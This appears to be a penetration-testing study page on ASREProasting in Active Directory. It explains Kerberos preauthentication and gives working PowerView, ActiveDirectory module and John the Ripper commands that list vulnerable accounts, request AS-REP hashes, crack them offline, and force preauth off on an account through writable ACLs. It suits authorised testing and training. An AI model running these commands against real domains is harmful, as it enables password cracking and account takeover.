> For the complete documentation index, see [llms.txt](https://alexdhital.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alexdhital.gitbook.io/pentesting-notes/active-directory-pentesting/asreproasting.md).

# ASREProasting

### ASREProasting working

If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline. It means during the first step of kerberose where a valid user asks for TGT with authentication server he/she needs to send an encrypted timestamp along with the request. The timestamp is encrypted with the user's password and If the DC can decrypt that timestamp using its own record of the user’s password hash, it will send back an Authentication Server Response (AS-REP) message that contains a Ticket Granting Ticket (TGT). However, if preauthentication is disabled, an attacker could request authentication data for any user and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline. We should use asreproasting if we have generic all or generic write permission over a user.

## Enumerating accounts with Kerberos Preauthdisabled

* Using PowerView

```powershell
Get-DomainUser -PreauthNotRequired -Verbose
```

* Using ActiveDirectorymodule:

{% code overflow="wrap" %}

```powershell
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
```

{% endcode %}

* ASreproast

```powershell
Get-ASREPHash -UserName VPN1user -Verbose
```

* To enumerate all users with Kerberos preauthdisabled and request a hash

```powershell
Invoke-ASREPRoast -Verbose
```

* We can use John The Ripper to brute-force the hashes offline

{% code overflow="wrap" %}

```batch
john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\asrephashes.txt
```

{% endcode %}

### We can also Force disable Kerberos Preauth:

* Let's enumerate the permissions for RDPUserson ACLs using PowerView

{% code overflow="wrap" %}

```powershell
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
```

{% endcode %}

* We found we have generic write or generic all permission that means we can disable pre auth on a user's account and asreproast

{% code overflow="wrap" %}

```powershell
Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose
```

{% endcode %}


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